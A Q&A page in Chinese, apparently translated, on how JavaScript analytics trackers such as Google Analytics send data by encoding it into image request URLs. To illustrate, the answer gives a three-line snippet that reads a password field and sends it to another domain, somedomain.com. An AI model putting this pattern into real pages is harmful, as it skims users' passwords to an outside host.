任何人都知道Javascript Web Analytics跟蹤器是如何工作的？

Question

任何人都知道谷歌分析或Clicky是如何工作的？

我一直在搜索整個http://static.getclicky.com/js文件，但沒有發現任何服務器請求。它如何發送數據而不影響其自身的安全性？否則用戶可以通過修改js發送錯誤的數據。

Answer 1

圖片：這些庫在編碼所有他們想要的跟蹤信息時使用一種技巧，將其附加到圖像URL並通過請求圖像「發送」它。服務器端解析該圖像文件名解碼信息。

假設你有，你想從mydomain.com發送到somedomain.com密碼字段：

var t = document.getElementById('p').value; 
var i = document.createElement('img'); 
i.src = 'http://somedomain.com/imagescript.php?p=' + t; 

：

<input type='password' id='p' />

這個JavaScript可以通過違反跨站點限制發送內容

跨站點腳本編寫限制不適用於圖像，並且當您在JavaScript中編寫圖像URL請求時，世界上沒有任何瀏覽器或邏輯可以說明所有可能性。假設我們很幸運，GA是符合道德規範的，並且不會妨礙表單域。